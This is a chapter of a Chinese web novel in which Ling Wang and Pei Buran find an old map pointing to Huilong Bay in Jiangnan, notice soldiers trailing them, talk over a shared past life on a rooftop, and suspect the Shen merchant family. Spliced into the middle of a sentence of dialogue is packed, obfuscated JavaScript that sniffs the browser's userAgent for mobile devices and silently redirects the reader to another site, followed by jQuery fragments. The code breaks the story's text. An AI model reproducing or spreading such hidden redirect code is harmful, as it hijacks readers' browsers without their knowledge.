39.夜话江南暗潮生
作品:《不挽仙人愁》 那里随意地扔着几个卷轴,其中一个卷轴的末端露出的一角裱绫上,有一个极淡的、几乎被磨损殆尽的印记——那印记的形状,竟与凌妄手中木牌上的断裂痕有七八分相似!
裴不染已笑嘻嘻地凑到柜台前,用扇子指着那几个卷轴:“老掌柜,这些也是卖的吗?看着有些年头了,我有个朋友就喜欢收这些老物件儿。”
老掌柜瞥了一眼,不甚在意地摆摆手:“都是些没人要的废纸,堆那儿占地方,你们要是要,随便给几十文都拿走。”
裴不染立刻掏出块碎银子放在柜台上:“那就多谢老掌柜了!”
他麻利地将那几个卷轴都拿起,递给凌妄一个眼神。
凌妄压下心中的波动,也将门口那幅山水画取下,付了钱。
三人走出书画铺,河风一吹,方才店内的沉闷气息一扫而空。
“有发现?”裴不染低声问,脸上依旧带着笑,眼神却认真了些。
凌妄微微颔首,目光落在手中的画和卷轴上:“回去细看。”
然而,就在他们转身欲回客栈之时,凌妄眼角的余光忽然瞥见不远处一座石拱桥的阴影下,似乎有一个极快消失的身影!
那身影速度极快,几乎融于夜色,但惊鸿一瞥间,凌妄却看到那人腰间似乎佩着一把短剑,剑鞘的样式……应当是朔州军!
那些人……竟然也跟到了江南?
——
凌妄的脚步几不可查地顿了一下,随即恢复如常,仿佛只是随意地扫了一眼那座空无一人的石桥,便继续朝着客栈的方向走去。
裴不染脸上的笑意淡了几分,扇子摇动的节奏却依旧不变,只是靠近凌妄,用只有两人能听到的气音道:“阴魂不散啊……看来咱们这趟江南之行,注定热闹了。”
萧溪山还沉浸在买到新奇玩意儿的兴奋中,并未察觉两人之间细微的气氛变化,抱着刚买的一包桂花糕,吃得正香。
回到临河的客栈房间,凌妄立刻将门窗关紧。裴不染则懒洋洋地倚在窗边,看似欣赏夜景,实则警惕地监视着窗外河面与对岸的动静。
凌妄将那张山水画和几个陈旧卷轴在桌上铺开。
画作本身确实平平无奇,笔法稚嫩,意境寻常。但凌妄的指尖仔细抚过画纸上那云雾的墨痕,感受着那极其微弱的、与木牌云纹神似的笔意流转。这绝非巧合,作画之人定然见过类似的纹样,甚至可能接触过与木牌同源的东西!
他小心翼翼地展开那几个卷轴。大多是些拙劣的书法习作或更次的山水临摹,唯有最初发现印记的那一个,展开后是一幅残破的、似乎被火烧过又精心裱糊过的……地图?
地图绘制得极为粗糙抽象,山川河流只用简单的线条勾勒,但在图上一处标记着扭曲古篆字
凌妄依稀辨认出似乎是“洄”字的山谷旁,用极细的朱砂绘制了一个小小的图案——那图案,与凌妄木牌上的断裂痕几乎一模一样!只是在地图上,它更像是一个标记地点的符号。
地图的角落还有几行模糊的蝇头小楷,墨色暗淡,难以辨认,似乎记载着某种口诀或注意事项,其中反复出现“水厄”、“迷心”、“不可妄入”等令人不安的字眼。
“看来……咱们误打误撞,还真摸到点门道了?”裴不染不知何时凑了过来,看着那幅地图,扇子也不摇了,眼神亮得惊人,“‘洄’……这附近好像是有个地方叫‘洄龙湾’,地势险恶,常年迷雾笼罩,船家都不敢轻易靠近,传说邪门得很。”
凌妄的手指紧紧按在地图上那个朱砂标记上,心脏不受控制地加速跳动。母亲的手札、季文海的搜寻、青城山的残碑、还有这江南水乡深处隐藏的地图……所有的线索,似乎终于开始指向一个具体的地点!
然而,方才桥下那个疑似朔州军的身影,如同一声冰冷的警钟。
他们的行踪已经暴露。对方的速度比想象中更快,手段也更莫测。这看似偶然发现的地图,究竟是真正的线索,还是另一个精心布置的、引他深入的陷阱?
凌妄抬起头,看向窗外沉沉的夜色和倒映着灯火的漆黑河水。
他将地图仔细卷好,与其他卷轴分开收起,声音低沉而冷静:
“明日去洄龙湾。”
无论那是答案,还是陷阱,他都必须去。
——
夜深人静,河面上的画舫灯火渐次熄灭,只余下潺潺水声和远处偶尔传来的几声犬吠。萧溪山早已在隔壁房间沉沉睡去,呼吸均匀。
客栈屋顶,凌妄与裴不染并肩而坐。夜风带着水汽拂过,微凉。一轮下弦月悬在天际,清辉洒在鳞次栉比的黛瓦上,泛着冷冽的光。
两人之间摆着一小坛方才从楼下沽来的、未喝完的桂花酿,酒香清浅,却无人去动。
长时间的沉默后,裴不染忽然轻笑一声,声音在寂静的夜里显得有些飘忽:“说起来……这好像不是咱们头一回来江南吧?”
凌妄侧头看他,月光勾勒出裴不染带笑的侧脸,但那笑意并未到达眼底,反而透着一丝难以言喻的……苍凉。
“上次来,好像是……好多年前的事了。”裴不染仰头喝了一口酒,喉结滚动了一下,语气变得有些悠远,“那会儿江南道的桃花开得正好,一眼望不到头,跟云霞似的。你,我,还有……呵。”
他顿了顿,没说出那个名字,只是又灌了一口酒,才继续道:“那时候多好,就单纯觉得花开得热闹,酒也好喝。哪像现在,看山不是山,看水不是水,满脑子都是阴谋算计,连喝口酒都得掂量掂量有没有下毒。”
凌妄沉默着,目光投向远处月光下朦胧的河道,仿佛也透过重重时光,看到了许多年前那一片灼灼其华的桃林,看到了那个会在桃花树下舞剑、笑容比桃花还明媚几分的女子。
他的心口传来一阵熟悉的、细密而尖锐的刺痛,如同被冰针反复扎刺。那些被刻意尘封的画面不受控制地翻涌上来——桃瓣纷飞如雨,染红了溪水,也染红了她的衣襟……还有她最后那个,带着无尽遗憾与不甘的眼神。
他猛地闭上眼,将翻腾的情绪强行压回冰封的心湖深处。再睁开时,眼底已只剩一片沉寂的冷然。
“旧事不必再提。”他的声音比夜风更冷。
裴不染转过头,看着他紧绷的侧脸线条,脸上的嬉笑彻底敛去,叹了口气:“是不必提,还是不敢提?凌妄,你把自己绷得太紧了。有些东西,不是你假装忘了,它就不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371347|182651||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
存在的。”
他晃了晃酒坛,听着里面所剩无几的酒液晃动的声音:“那木牌,那残碑,还有这莫名其妙的地图……我总觉得,这一切好像冥冥中自有定数。躲不开,避不过。就像……就像当年一样。”
最后几个字,他说得极轻,几乎融进了风里。
凌妄握着剑柄的手指微微收紧,骨节泛白。他知道裴不染的意思。前世他们未能护住的,未能查清的,似乎都在这一世以另一种方式卷土重来,逼着他们去面对,去了结。
“这一世,不会一样。”凌妄的声音低沉而笃定,像是在对裴不染说,更像是在对自己立誓。
裴不染看着他眼中那不容动摇的坚毅,忽然笑了笑,那笑容里多了几分真实的暖意:“行,你说不一样,那就不一样。反正……兄弟儿这辈子还陪你疯。”
他举起酒坛,将最后一点酒液饮尽,随手将空坛子抛入下方的河道中,发出“噗通”一声轻响,打破了夜的寂静。
“管他前面是龙潭还是虎穴,是桃花还是陷阱,闯就是了!”
月光下,两人不再言语,只是静静地坐在屋顶,一个冷峻如磐石,一个不羁如流云,共同面对着眼前这片被夜色与水雾笼罩的、危机四伏的江南。
前尘往事如烟,而脚下的路,仍需一步一步去丈量。
月光如水,静静流淌在并肩而坐的两人身上,将影子拉得很长,投在冰冷的屋瓦上。那一声酒坛落水的轻响之后,夜重归寂静,只剩下河水永恒的流淌声,衬得这份沉默愈发深重。
凌妄的目光从远处收回,落在下方漆黑如墨的河面上。那些倒映的灯火早已熄灭,河水仿佛变成了一条无声吞噬一切的暗流。他忽然开口,声音低沉,打破了沉默:
“方才酒楼那人,姓沈。”
裴不染正漫不经心地把玩着空了的扇子,闻言动作一顿,挑眉看向他:“哦?凌兄认识?我看那纨绔子弟不像有什么大来历的样子。”
“他是不像。”凌妄的语调没有任何起伏,“但他腰间那块玉佩的络子,打的是京城‘玲珑阁’独有的双环结。玲珑阁的东西,只供给几家固定的皇商和高官显贵。”
裴不染脸上的懒散渐渐收起,扇子也不摇了:“沈姓……江南本地的豪族里,似乎没有特别显赫的沈家能与京城搭上这般关系。除非……”他眼中闪过一丝锐光,“是那个近年来靠着漕运和盐引发家、拼命想往京城权贵圈子里钻的沈家?”
凌妄微微颔首:“沈万金。名字俗气,手段却不俗。据说背后有宫里某位大珰的影子。”他顿了顿,继续道,“更重要的是,去年底,吏部考核,季文海的门生故旧,有多人被安插进了漕运衙门和江南织造局。”
话无需点透。
一个骤然暴富、急于寻找靠山的地方豪商;一个手握吏部大权、正在江南安插自己势力的吏部侍郎;还有今日酒楼里那个看似无脑跋扈、却恰好佩戴着京城标志性饰物的沈家公子……
这一切巧合得令人心惊。
裴不染吸了一口凉气,扇骨轻轻敲着掌心:“你的意思是……季文海的触手,已经伸到江南了?甚至可能……这沈家就是他布在这里的一颗棋子?那今日酒楼冲突……